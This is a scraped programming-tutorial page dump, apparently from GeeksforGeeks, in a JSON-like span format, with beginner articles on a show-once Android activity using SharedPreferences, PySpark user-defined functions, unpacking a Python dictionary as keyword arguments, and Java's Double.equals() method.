"s": 24504,
"text": "Python Bokeh – Visualizing the Iris Dataset"
},
{
"code": null,
"e": 24586,
"s": 24548,
"text": "Python Bokeh – Visualizing Stock Data"
},
{
"code": null,
"e": 24632,
"s": 24586,
"text": "Interactive visualization of data using Bokeh"
},
{
"code": null,
"e": 24660,
"s": 24632,
"text": "Python Bokeh – Colors Class"
},
{
"code": null,
"e": 24703,
"s": 24660,
"text": "How to use Color Palettes in Python-Bokeh?"
},
{
"code": null,
"e": 24755,
"s": 24703,
"text": "Python Bokeh – Plotting Quadratic Curves on a Graph"
},
{
"code": null,
"e": 24804,
"s": 24755,
"text": "Python Bokeh – Plotting Line Segments on a Graph"
},
{
"code": null,
"e": 24854,
"s": 24804,
"text": "Python Bokeh – Plotting Multiple Lines on a Graph"
},
{
"code": null,
"e": 24903,
"s": 24854,
"text": "Python Bokeh – Plotting glyphs over a Google Map"
},
{
"code": null,
"e": 24991,
"s": 24903,
"text": "Python Bokeh – Plot for all Types of Google Maps ( roadmap, satellite, hybrid, terrain)"
},
{
"code": null,
"e": 25006,
"s": 24991,
"text": "adnanirshad158"
},
{
"code": null,
"e": 25016,
"s": 25006,
"text": "as5853535"
},
{
"code": null,
"e": 25026,
"s": 25016,
"text": "kk9826225"
},
{
"code": null,
"e": 25044,
"s": 25026,
"text": "germanshephered48"
},
{
"code": null,
"e": 25051,
"s": 25044,
"text": "Python"
},
{
"code": null,
"e": 25149,
"s": 25051,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 25177,
"s": 25149,
"text": "Read JSON file using Python"
},
{
"code": null,
"e": 25227,
"s": 25177,
"text": "Adding new column to existing DataFrame in Pandas"
},
{
"code": null,
"e": 25249,
"s": 25227,
"text": "Python map() function"
},
{
"code": null,
"e": 25293,
"s": 25249,
"text": "How to get column names in Pandas dataframe"
},
{
"code": null,
"e": 25311,
"s": 25293,
"text": "Python Dictionary"
},
{
"code": null,
"e": 25353,
"s": 25311,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 25375,
"s": 25353,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 25398,
"s": 25375,
"text": "Taking input in Python"
},
{
"code": null,
"e": 25433,
"s": 25398,
"text": "Read a file line by line in Python"
}
] |
How to Make an Activity Appear Only Once in Android?
|
01 Sep, 2020
There are many android applications that require an activity to appear only once when the user opens the app for the first time. Here, let’s learn how to implement this in our own android app.
Why might we need an activity to appear only once?
It may be used for getting user’s login information or other one-time information so that the user does not need to go through the hassles of entering their information every time they open the app.
It may be used to display some information regarding the app which the user might not wish to see every time.
It may be used to show a one-time animation adding a better UI to the app.
In this example, let’s use SharedPreferences to implement this project. Refer to this article to learn about SharedPreferences in detail: Shared Preferences in Android with Examples.
Step 1: Create a New Project
To create a new project in Android Studio please refer to How to Create/Start a New Project in Android Studio. Note that select Java as the programming language.
Step 2: Working with the activity that appears only once
Working with activity_main.xml file:
Let’s start by working with the activity that should appear just once. In this example, activity_main.xml will just contain an ImageView and a TextView. Here’s how the activity_main.xml file looks like:
activity_main.xml
<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#388e3c" android:orientation="vertical" tools:context=".MainActivity"> <ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" android:src="@drawable/gfglog" /> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="center_horizontal" android:fontFamily="sans-serif-condensed" android:text="Thanks for visiting GeeksforGeeks.\n\nI will be launched only once!" android:textColor="#f5f5f5" android:textSize="35sp" /> </LinearLayout>
The activity will look like the following:
activity_main.xml
Working with MainActivity.java file:
The MainActivity.java file will contain most of the logic of the app in this example. Let’s start by creating a String called prevStarted and set it to some value. Now in the onResume() method, check if we already have the value of prevStarted in the SharedPreferences. Since it will evaluate to false when the app is launched for the first time, start the MainActivity (Which we want to appear just once) and set the value of prevStarted in the SharedPreferences. Now whenever the app starts again, it will always check if we already have the value of prevStarted stored in SharedPreferences which will always evaluate to true from now on. So it will always launch the SecondaryActivity (Which we want to appear always) from now on. Here’s how our MainActivity.java file looks like:
MainActivity.java
import androidx.appcompat.app.AppCompatActivity;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.os.Bundle; public class MainActivity extends AppCompatActivity { String prevStarted = "yes"; @Override protected void onResume() { super.onResume(); SharedPreferences sharedpreferences = getSharedPreferences(getString(R.string.app_name), Context.MODE_PRIVATE); if (!sharedpreferences.getBoolean(prevStarted, false)) { SharedPreferences.Editor editor = sharedpreferences.edit(); editor.putBoolean(prevStarted, Boolean.TRUE); editor.apply(); } else { moveToSecondary(); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void moveToSecondary(){ // use an intent to travel from one activity to another. Intent intent = new Intent(this,SecondaryActivity.class); startActivity(intent); }}
Step 3: Creating the activity that appears always
Working with activity_secondary.xml file:
Now that we are done with almost all the logic of the app and will create the activity that we want to appear always, activity_secondary.xml. For this example, it will contain just ImageView and a TextView. Here’s how our activity_secondary.xml looks like:
activity_secondary.xml
<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" android:background="#388e3c" android:orientation="vertical"> <ImageView android:layout_width="wrap_content" android:layout_height="wrap_content" android:src="@drawable/gfg" android:layout_gravity="center_horizontal"/> <TextView android:layout_width="match_parent" android:layout_height="match_parent" android:padding="15dp" android:gravity="center_horizontal" android:text="I will be launched always.\nJust as you can count on GeeksforGeeks always!" android:textColor="#f5f5f5" android:textSize="30sp"/> </LinearLayout>
The activity will look like the following:
activity_secondary.xml
Working with SecondaryActivity.java file:
There is nothing to do with the SecondaryActivity.java file. This is how the SecondaryActivity.java file looks like:
SecondaryActivity.java
import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle; public class SecondaryActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secondary); }}
Step 4: Configuring the AndroidManifest.xml
It is important to check that the first activity which opens when the app is launched is MainActivity.java (The activity which we want to appear only once). For this, open the AndroidManifest.xml file and ensure that we have the intent-filter tag inside the activity tag that should appear just once. Here’s how our AndroidManifest.xml file looks like:
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="yourPackageName"> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".SecondaryActivity"></activity> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
android
Android
Java
Java
Android
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n01 Sep, 2020"
},
{
"code": null,
"e": 245,
"s": 52,
"text": "There are many android applications that require an activity to appear only once when the user opens the app for the first time. Here, let’s learn how to implement this in our own android app."
},
{
"code": null,
"e": 296,
"s": 245,
"text": "Why might we need an activity to appear only once?"
},
{
"code": null,
"e": 495,
"s": 296,
"text": "It may be used for getting user’s login information or other one-time information so that the user does not need to go through the hassles of entering their information every time they open the app."
},
{
"code": null,
"e": 605,
"s": 495,
"text": "It may be used to display some information regarding the app which the user might not wish to see every time."
},
{
"code": null,
"e": 680,
"s": 605,
"text": "It may be used to show a one-time animation adding a better UI to the app."
},
{
"code": null,
"e": 863,
"s": 680,
"text": "In this example, let’s use SharedPreferences to implement this project. Refer to this article to learn about SharedPreferences in detail: Shared Preferences in Android with Examples."
},
{
"code": null,
"e": 892,
"s": 863,
"text": "Step 1: Create a New Project"
},
{
"code": null,
"e": 1054,
"s": 892,
"text": "To create a new project in Android Studio please refer to How to Create/Start a New Project in Android Studio. Note that select Java as the programming language."
},
{
"code": null,
"e": 1111,
"s": 1054,
"text": "Step 2: Working with the activity that appears only once"
},
{
"code": null,
"e": 1148,
"s": 1111,
"text": "Working with activity_main.xml file:"
},
{
"code": null,
"e": 1351,
"s": 1148,
"text": "Let’s start by working with the activity that should appear just once. In this example, activity_main.xml will just contain an ImageView and a TextView. Here’s how the activity_main.xml file looks like:"
},
{
"code": null,
"e": 1369,
"s": 1351,
"text": "activity_main.xml"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:background=\"#388e3c\" android:orientation=\"vertical\" tools:context=\".MainActivity\"> <ImageView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:src=\"@drawable/gfglog\" /> <TextView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:layout_gravity=\"center_horizontal\" android:fontFamily=\"sans-serif-condensed\" android:text=\"Thanks for visiting GeeksforGeeks.\\n\\nI will be launched only once!\" android:textColor=\"#f5f5f5\" android:textSize=\"35sp\" /> </LinearLayout>",
"e": 2234,
"s": 1369,
"text": null
},
{
"code": null,
"e": 2277,
"s": 2234,
"text": "The activity will look like the following:"
},
{
"code": null,
"e": 2295,
"s": 2277,
"text": "activity_main.xml"
},
{
"code": null,
"e": 2332,
"s": 2295,
"text": "Working with MainActivity.java file:"
},
{
"code": null,
"e": 3116,
"s": 2332,
"text": "The MainActivity.java file will contain most of the logic of the app in this example. Let’s start by creating a String called prevStarted and set it to some value. Now in the onResume() method, check if we already have the value of prevStarted in the SharedPreferences. Since it will evaluate to false when the app is launched for the first time, start the MainActivity (Which we want to appear just once) and set the value of prevStarted in the SharedPreferences. Now whenever the app starts again, it will always check if we already have the value of prevStarted stored in SharedPreferences which will always evaluate to true from now on. So it will always launch the SecondaryActivity (Which we want to appear always) from now on. Here’s how our MainActivity.java file looks like:"
},
{
"code": null,
"e": 3134,
"s": 3116,
"text": "MainActivity.java"
},
{
"code": "import androidx.appcompat.app.AppCompatActivity;import android.content.Context;import android.content.Intent;import android.content.SharedPreferences;import android.os.Bundle; public class MainActivity extends AppCompatActivity { String prevStarted = \"yes\"; @Override protected void onResume() { super.onResume(); SharedPreferences sharedpreferences = getSharedPreferences(getString(R.string.app_name), Context.MODE_PRIVATE); if (!sharedpreferences.getBoolean(prevStarted, false)) { SharedPreferences.Editor editor = sharedpreferences.edit(); editor.putBoolean(prevStarted, Boolean.TRUE); editor.apply(); } else { moveToSecondary(); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void moveToSecondary(){ // use an intent to travel from one activity to another. Intent intent = new Intent(this,SecondaryActivity.class); startActivity(intent); }}",
"e": 4232,
"s": 3134,
"text": null
},
{
"code": null,
"e": 4282,
"s": 4232,
"text": "Step 3: Creating the activity that appears always"
},
{
"code": null,
"e": 4324,
"s": 4282,
"text": "Working with activity_secondary.xml file:"
},
{
"code": null,
"e": 4581,
"s": 4324,
"text": "Now that we are done with almost all the logic of the app and will create the activity that we want to appear always, activity_secondary.xml. For this example, it will contain just ImageView and a TextView. Here’s how our activity_secondary.xml looks like:"
},
{
"code": null,
"e": 4604,
"s": 4581,
"text": "activity_secondary.xml"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\" xmlns:tools=\"http://schemas.android.com/tools\" android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" tools:context=\".MainActivity\" android:background=\"#388e3c\" android:orientation=\"vertical\"> <ImageView android:layout_width=\"wrap_content\" android:layout_height=\"wrap_content\" android:src=\"@drawable/gfg\" android:layout_gravity=\"center_horizontal\"/> <TextView android:layout_width=\"match_parent\" android:layout_height=\"match_parent\" android:padding=\"15dp\" android:gravity=\"center_horizontal\" android:text=\"I will be launched always.\\nJust as you can count on GeeksforGeeks always!\" android:textColor=\"#f5f5f5\" android:textSize=\"30sp\"/> </LinearLayout>",
"e": 5501,
"s": 4604,
"text": null
},
{
"code": null,
"e": 5544,
"s": 5501,
"text": "The activity will look like the following:"
},
{
"code": null,
"e": 5567,
"s": 5544,
"text": "activity_secondary.xml"
},
{
"code": null,
"e": 5609,
"s": 5567,
"text": "Working with SecondaryActivity.java file:"
},
{
"code": null,
"e": 5726,
"s": 5609,
"text": "There is nothing to do with the SecondaryActivity.java file. This is how the SecondaryActivity.java file looks like:"
},
{
"code": null,
"e": 5749,
"s": 5726,
"text": "SecondaryActivity.java"
},
{
"code": "import androidx.appcompat.app.AppCompatActivity;import android.os.Bundle; public class SecondaryActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_secondary); }}",
"e": 6055,
"s": 5749,
"text": null
},
{
"code": null,
"e": 6099,
"s": 6055,
"text": "Step 4: Configuring the AndroidManifest.xml"
},
{
"code": null,
"e": 6452,
"s": 6099,
"text": "It is important to check that the first activity which opens when the app is launched is MainActivity.java (The activity which we want to appear only once). For this, open the AndroidManifest.xml file and ensure that we have the intent-filter tag inside the activity tag that should appear just once. Here’s how our AndroidManifest.xml file looks like:"
},
{
"code": null,
"e": 6472,
"s": 6452,
"text": "AndroidManifest.xml"
},
{
"code": "<?xml version=\"1.0\" encoding=\"utf-8\"?><manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"yourPackageName\"> <application android:allowBackup=\"true\" android:icon=\"@mipmap/ic_launcher\" android:label=\"@string/app_name\" android:roundIcon=\"@mipmap/ic_launcher_round\" android:supportsRtl=\"true\" android:theme=\"@style/AppTheme\"> <activity android:name=\".SecondaryActivity\"></activity> <activity android:name=\".MainActivity\"> <intent-filter> <action android:name=\"android.intent.action.MAIN\" /> <category android:name=\"android.intent.category.LAUNCHER\" /> </intent-filter> </activity> </application> </manifest>",
"e": 7231,
"s": 6472,
"text": null
},
{
"code": null,
"e": 7239,
"s": 7231,
"text": "android"
},
{
"code": null,
"e": 7247,
"s": 7239,
"text": "Android"
},
{
"code": null,
"e": 7252,
"s": 7247,
"text": "Java"
},
{
"code": null,
"e": 7257,
"s": 7252,
"text": "Java"
},
{
"code": null,
"e": 7265,
"s": 7257,
"text": "Android"
}
] |
How to Write Spark UDF (User Defined Functions) in Python ?
|
06 Jun, 2021
In this article, we will talk about UDF(User Defined Functions) and how to write these in Python Spark. UDF, basically stands for User Defined Functions. The UDF will allow us to apply the functions directly in the dataframes and SQL databases in python, without making them registering individually. It can also help us to create new columns to our dataframe, by applying a function via UDF to the dataframe column(s), hence it will extend our functionality of dataframe. It can be created using the udf() method.
udf(): This method will use the lambda function to loop over data, and its argument will accept the lambda function, and the lambda value will become an argument for the function, we want to make as a UDF.
Let’s create a dataframe, and the theme of this dataframe is going to be the name of the student, along with his/her raw scores in a test out of 100.
Python3
from pyspark.sql import SparkSessionfrom pyspark.sql.types import IntegerType,StringTypefrom pyspark.sql.functions import udf spark = SparkSession.builder.appName('UDF PRACTICE').getOrCreate() cms = ["Name","RawScore"]data = [("Jack", "79"), ("Mira", "80"), ("Carter", "90")] df = spark.createDataFrame(data=data,schema=cms) df.show()
Output:
Now, we have to make a function. So, for understanding, we will make a simple function that will split the columns and check, that if the traversing object in that column(is getting equal to ‘J'(Capital J) or ‘C'(Capital C) or ‘M'(Capital M), so it will be converting the second letter of that word, with its capital version. The implementation of this code is:
Python3
def Converter(str): result = "" a = str.split(" ") for q in a: if q == 'J' or 'C' or 'M': result += q[1:2].upper() return result
Now, we will convert it to our UDF function, which will, in turn, reduce our workload on data. For this, we are using lambda inside UDF.
Python3
NumberUDF = udf(lambda m: Converter(m))
The next thing we will use here, is the withcolumn(), remember that withcolumn() will return a full dataframe. So we will use our existing df dataframe only, and the returned value will be stored in df only(basically we will append it).
Python3
df.withColumn("Special Names", NumberUDF("Name")).show()
Output:
Note: We can also do this all stuff in one step.
Now, a short and smart way of doing this is to use “ANNOTATIONS”(or decorators). This will create our UDF function in less number of steps. For this, all we have to do use @ sign(decorator) in front of udf function, and give the return type of the function in its argument part,i.e assign returntype as Intergertype(), StringType(), etc.
Python3
@udf(returnType=StringType())def Converter(str): result = "" a = str.split(" ") for q in a: if q == 'J' or 'C' or 'M': result += q[1:2].upper() else: result += q return result df.withColumn("Special Names", Converter("Name")) \ .show()
Output:
Example:
Now, let’s suppose there is a marking scheme in the school that calibrates the marks of students in terms of its square root added 3(i.e they will be calibrating the marks out of 15). So, we will define a UDF function, and we will specify the return type this time. i.e float data type. So, declaration of this function will be–
Python3
def SQRT(x): return float(math.sqrt(x)+3)
Now, we will define an udf, whose return type will always be float,i.e we are forcing the function, as well as the UDF to give us result in terms of floating-point numbers only. The definition of this function will be –
Python3
UDF_marks = udf(lambda m: SQRT(m),FloatType())
The second parameter of udf,FloatType() will always force UDF function to return the result in floatingtype only. Now, we will use our udf function, UDF_marks on the RawScore column in our dataframe, and will produce a new column by the name of”<lambda>RawScore”, and this will be a default naming of this column. The code for this will look like –
Python3
df.select("Name","RawScore", UDF_marks("RawScore")).show()
Output:
Picked
Python-Pyspark
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n06 Jun, 2021"
},
{
"code": null,
"e": 543,
"s": 28,
"text": "In this article, we will talk about UDF(User Defined Functions) and how to write these in Python Spark. UDF, basically stands for User Defined Functions. The UDF will allow us to apply the functions directly in the dataframes and SQL databases in python, without making them registering individually. It can also help us to create new columns to our dataframe, by applying a function via UDF to the dataframe column(s), hence it will extend our functionality of dataframe. It can be created using the udf() method."
},
{
"code": null,
"e": 749,
"s": 543,
"text": "udf(): This method will use the lambda function to loop over data, and its argument will accept the lambda function, and the lambda value will become an argument for the function, we want to make as a UDF."
},
{
"code": null,
"e": 899,
"s": 749,
"text": "Let’s create a dataframe, and the theme of this dataframe is going to be the name of the student, along with his/her raw scores in a test out of 100."
},
{
"code": null,
"e": 907,
"s": 899,
"text": "Python3"
},
{
"code": "from pyspark.sql import SparkSessionfrom pyspark.sql.types import IntegerType,StringTypefrom pyspark.sql.functions import udf spark = SparkSession.builder.appName('UDF PRACTICE').getOrCreate() cms = [\"Name\",\"RawScore\"]data = [(\"Jack\", \"79\"), (\"Mira\", \"80\"), (\"Carter\", \"90\")] df = spark.createDataFrame(data=data,schema=cms) df.show()",
"e": 1280,
"s": 907,
"text": null
},
{
"code": null,
"e": 1288,
"s": 1280,
"text": "Output:"
},
{
"code": null,
"e": 1650,
"s": 1288,
"text": "Now, we have to make a function. So, for understanding, we will make a simple function that will split the columns and check, that if the traversing object in that column(is getting equal to ‘J'(Capital J) or ‘C'(Capital C) or ‘M'(Capital M), so it will be converting the second letter of that word, with its capital version. The implementation of this code is:"
},
{
"code": null,
"e": 1658,
"s": 1650,
"text": "Python3"
},
{
"code": "def Converter(str): result = \"\" a = str.split(\" \") for q in a: if q == 'J' or 'C' or 'M': result += q[1:2].upper() return result",
"e": 1837,
"s": 1658,
"text": null
},
{
"code": null,
"e": 1974,
"s": 1837,
"text": "Now, we will convert it to our UDF function, which will, in turn, reduce our workload on data. For this, we are using lambda inside UDF."
},
{
"code": null,
"e": 1982,
"s": 1974,
"text": "Python3"
},
{
"code": "NumberUDF = udf(lambda m: Converter(m))",
"e": 2022,
"s": 1982,
"text": null
},
{
"code": null,
"e": 2259,
"s": 2022,
"text": "The next thing we will use here, is the withcolumn(), remember that withcolumn() will return a full dataframe. So we will use our existing df dataframe only, and the returned value will be stored in df only(basically we will append it)."
},
{
"code": null,
"e": 2267,
"s": 2259,
"text": "Python3"
},
{
"code": "df.withColumn(\"Special Names\", NumberUDF(\"Name\")).show()",
"e": 2324,
"s": 2267,
"text": null
},
{
"code": null,
"e": 2332,
"s": 2324,
"text": "Output:"
},
{
"code": null,
"e": 2381,
"s": 2332,
"text": "Note: We can also do this all stuff in one step."
},
{
"code": null,
"e": 2719,
"s": 2381,
"text": "Now, a short and smart way of doing this is to use “ANNOTATIONS”(or decorators). This will create our UDF function in less number of steps. For this, all we have to do use @ sign(decorator) in front of udf function, and give the return type of the function in its argument part,i.e assign returntype as Intergertype(), StringType(), etc."
},
{
"code": null,
"e": 2727,
"s": 2719,
"text": "Python3"
},
{
"code": "@udf(returnType=StringType())def Converter(str): result = \"\" a = str.split(\" \") for q in a: if q == 'J' or 'C' or 'M': result += q[1:2].upper() else: result += q return result df.withColumn(\"Special Names\", Converter(\"Name\")) \\ .show()",
"e": 3023,
"s": 2727,
"text": null
},
{
"code": null,
"e": 3031,
"s": 3023,
"text": "Output:"
},
{
"code": null,
"e": 3040,
"s": 3031,
"text": "Example:"
},
{
"code": null,
"e": 3369,
"s": 3040,
"text": "Now, let’s suppose there is a marking scheme in the school that calibrates the marks of students in terms of its square root added 3(i.e they will be calibrating the marks out of 15). So, we will define a UDF function, and we will specify the return type this time. i.e float data type. So, declaration of this function will be–"
},
{
"code": null,
"e": 3377,
"s": 3369,
"text": "Python3"
},
{
"code": "def SQRT(x): return float(math.sqrt(x)+3)",
"e": 3422,
"s": 3377,
"text": null
},
{
"code": null,
"e": 3642,
"s": 3422,
"text": "Now, we will define an udf, whose return type will always be float,i.e we are forcing the function, as well as the UDF to give us result in terms of floating-point numbers only. The definition of this function will be –"
},
{
"code": null,
"e": 3650,
"s": 3642,
"text": "Python3"
},
{
"code": "UDF_marks = udf(lambda m: SQRT(m),FloatType())",
"e": 3697,
"s": 3650,
"text": null
},
{
"code": null,
"e": 4046,
"s": 3697,
"text": "The second parameter of udf,FloatType() will always force UDF function to return the result in floatingtype only. Now, we will use our udf function, UDF_marks on the RawScore column in our dataframe, and will produce a new column by the name of”<lambda>RawScore”, and this will be a default naming of this column. The code for this will look like –"
},
{
"code": null,
"e": 4054,
"s": 4046,
"text": "Python3"
},
{
"code": "df.select(\"Name\",\"RawScore\", UDF_marks(\"RawScore\")).show()",
"e": 4113,
"s": 4054,
"text": null
},
{
"code": null,
"e": 4121,
"s": 4113,
"text": "Output:"
},
{
"code": null,
"e": 4128,
"s": 4121,
"text": "Picked"
},
{
"code": null,
"e": 4143,
"s": 4128,
"text": "Python-Pyspark"
},
{
"code": null,
"e": 4150,
"s": 4143,
"text": "Python"
}
] |
Python | Passing dictionary as keyword arguments
|
28 Aug, 2019
Many times while working with Python dictionaries, due to advent of OOP Paradigm, Modularity is focussed in different facets of programming. Hence there can be many use cases in which we require to pass a dictionary as argument to a function. But this required the unpacking of dictionary keys as arguments and it’s values as argument values. Let’s discuss a method in which this can be performed.
Method : Using ** ( splat ) operatorThis operator is used to unpack a dictionary, and while passing in a function this can possibly unpack a dictionary and achieve the required task of mapping the keys to arguments and it’s values to argument values.
# Python3 code to demonstrate working of# Passing dictionary as keyword arguments# Using ** ( splat ) operator # Helper function to demo this taskdef test_func(a = 4, b = 5): print("The value of a is : " + str(a)) print("The value of b is : " + str(b)) # initializing dictionarytest_dict = {'a' : 1, 'b' : 2} # printing original dictionaryprint("The original dictionary is : " + str(test_dict)) # Testing with default values print("The default function call yields : ")test_func() print("\r") # Passing dictionary as keyword arguments# Using ** ( splat ) operatorprint("The function values with splat operator unpacking : ")test_func(**test_dict)
The original dictionary is : {'a': 1, 'b': 2}
The default function call yields :
The value of a is : 4
The value of b is : 5
The function values with splat operator unpacking :
The value of a is : 1
The value of b is : 2
Python dictionary-programs
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n28 Aug, 2019"
},
{
"code": null,
"e": 426,
"s": 28,
"text": "Many times while working with Python dictionaries, due to advent of OOP Paradigm, Modularity is focussed in different facets of programming. Hence there can be many use cases in which we require to pass a dictionary as argument to a function. But this required the unpacking of dictionary keys as arguments and it’s values as argument values. Let’s discuss a method in which this can be performed."
},
{
"code": null,
"e": 677,
"s": 426,
"text": "Method : Using ** ( splat ) operatorThis operator is used to unpack a dictionary, and while passing in a function this can possibly unpack a dictionary and achieve the required task of mapping the keys to arguments and it’s values to argument values."
},
{
"code": "# Python3 code to demonstrate working of# Passing dictionary as keyword arguments# Using ** ( splat ) operator # Helper function to demo this taskdef test_func(a = 4, b = 5): print(\"The value of a is : \" + str(a)) print(\"The value of b is : \" + str(b)) # initializing dictionarytest_dict = {'a' : 1, 'b' : 2} # printing original dictionaryprint(\"The original dictionary is : \" + str(test_dict)) # Testing with default values print(\"The default function call yields : \")test_func() print(\"\\r\") # Passing dictionary as keyword arguments# Using ** ( splat ) operatorprint(\"The function values with splat operator unpacking : \")test_func(**test_dict)",
"e": 1336,
"s": 677,
"text": null
},
{
"code": null,
"e": 1561,
"s": 1336,
"text": "The original dictionary is : {'a': 1, 'b': 2}\nThe default function call yields : \nThe value of a is : 4\nThe value of b is : 5\n\nThe function values with splat operator unpacking : \nThe value of a is : 1\nThe value of b is : 2\n"
},
{
"code": null,
"e": 1588,
"s": 1561,
"text": "Python dictionary-programs"
},
{
"code": null,
"e": 1595,
"s": 1588,
"text": "Python"
}
] |
Double.equals() Method in Java with Examples
|
19 Jun, 2018
The java.lang.Double.equals() is a built-in function in java that compares this object to the specified object. The result is true if and only if the argument is not null and is a Double object that contains the same double value as this object. It returns false if both the objects are not same. In all other cases, compareTo method should be preferred.
Syntax:
public boolean equals(Object obj)
Parameter: The method accepts only one parameter.obj – The passed object is the object that is to be compared with.
Return Values: The function returns a boolean value after comparing with the object passed in the parameter. It returns true if and only if the argument is not null and is a Double object that contains the same double value as this object. It returns false if the object is not same.
Below programs illustrates the use of java.lang.Double.equals() method:
Program 1:
// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.*; class Gfg1 { public static void main(String args[]) { // When two objects are different Double obj1 = new Double(123123); Double obj2 = new Double(164165); System.out.print("Object1 & Object2: "); if (obj1.equals(obj2)) System.out.println("Equal"); else System.out.println("Not equal"); // When two objects are equal obj1 = new Double(12345); obj2 = new Double(12345); System.out.print("Object1 & Object2: "); if (obj1.equals(obj2)) System.out.print("Equal"); else System.out.print("Not Equal"); }}
Object1 & Object2: Not equal
Object1 & Object2: Equal
Program 2: When no argument is passed.
// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.Math; class Gfg1 { // Driver code public static void main(String args[]) { // When no argument is passed Double obj1 = new Double(124); Double obj2 = new Double(167); System.out.print("Object1 & Object2: "); if (obj1.equals()) System.out.println("Equal"); else System.out.println("Not Equal"); }}
Output:
prog.java:15: error: no suitable method found for equals(no arguments)
if (obj1.equals())
^
method Object.equals(Object) is not applicable
(actual and formal argument lists differ in length)
method Double.equals(Object) is not applicable
(actual and formal argument lists differ in length)
1 error
Program 3: When anything other than the object is passed as an argument.
// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.Math; class Gfg1 { // Driver code public static void main(String args[]) { // When anything other than the argument is passed Double obj1 = new Double(124); System.out.print("Object1 & Object2: "); if (obj1.equals("gfg")) System.out.println("Equal"); else System.out.println("Not Equal"); }}
Object1 & Object2: Not Equal
Java-Functions
Java-lang package
Java
Java
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Interfaces in Java
ArrayList in Java
Collections in Java
Multidimensional Arrays in Java
Stream In Java
Set in Java
Singleton Class in Java
Stack Class in Java
Initialize an ArrayList in Java
Initializing a List in Java
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n19 Jun, 2018"
},
{
"code": null,
"e": 383,
"s": 28,
"text": "The java.lang.Double.equals() is a built-in function in java that compares this object to the specified object. The result is true if and only if the argument is not null and is a Double object that contains the same double value as this object. It returns false if both the objects are not same. In all other cases, compareTo method should be preferred."
},
{
"code": null,
"e": 391,
"s": 383,
"text": "Syntax:"
},
{
"code": null,
"e": 426,
"s": 391,
"text": "public boolean equals(Object obj)\n"
},
{
"code": null,
"e": 542,
"s": 426,
"text": "Parameter: The method accepts only one parameter.obj – The passed object is the object that is to be compared with."
},
{
"code": null,
"e": 826,
"s": 542,
"text": "Return Values: The function returns a boolean value after comparing with the object passed in the parameter. It returns true if and only if the argument is not null and is a Double object that contains the same double value as this object. It returns false if the object is not same."
},
{
"code": null,
"e": 898,
"s": 826,
"text": "Below programs illustrates the use of java.lang.Double.equals() method:"
},
{
"code": null,
"e": 909,
"s": 898,
"text": "Program 1:"
},
{
"code": "// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.*; class Gfg1 { public static void main(String args[]) { // When two objects are different Double obj1 = new Double(123123); Double obj2 = new Double(164165); System.out.print(\"Object1 & Object2: \"); if (obj1.equals(obj2)) System.out.println(\"Equal\"); else System.out.println(\"Not equal\"); // When two objects are equal obj1 = new Double(12345); obj2 = new Double(12345); System.out.print(\"Object1 & Object2: \"); if (obj1.equals(obj2)) System.out.print(\"Equal\"); else System.out.print(\"Not Equal\"); }}",
"e": 1640,
"s": 909,
"text": null
},
{
"code": null,
"e": 1695,
"s": 1640,
"text": "Object1 & Object2: Not equal\nObject1 & Object2: Equal\n"
},
{
"code": null,
"e": 1734,
"s": 1695,
"text": "Program 2: When no argument is passed."
},
{
"code": "// Java program to demonstrate// of java.lang.Double.equals() methodimport java.lang.Math; class Gfg1 { // Driver code public static void main(String args[]) { // When no argument is passed Double obj1 = new Double(124); Double obj2 = new Double(167); System.out.print(\"Object1 & Object2: \"); if (obj1.equals()) System.out.println(\"Equal\"); else System.out.println(\"Not Equal\"); }}",
"e": 2197,
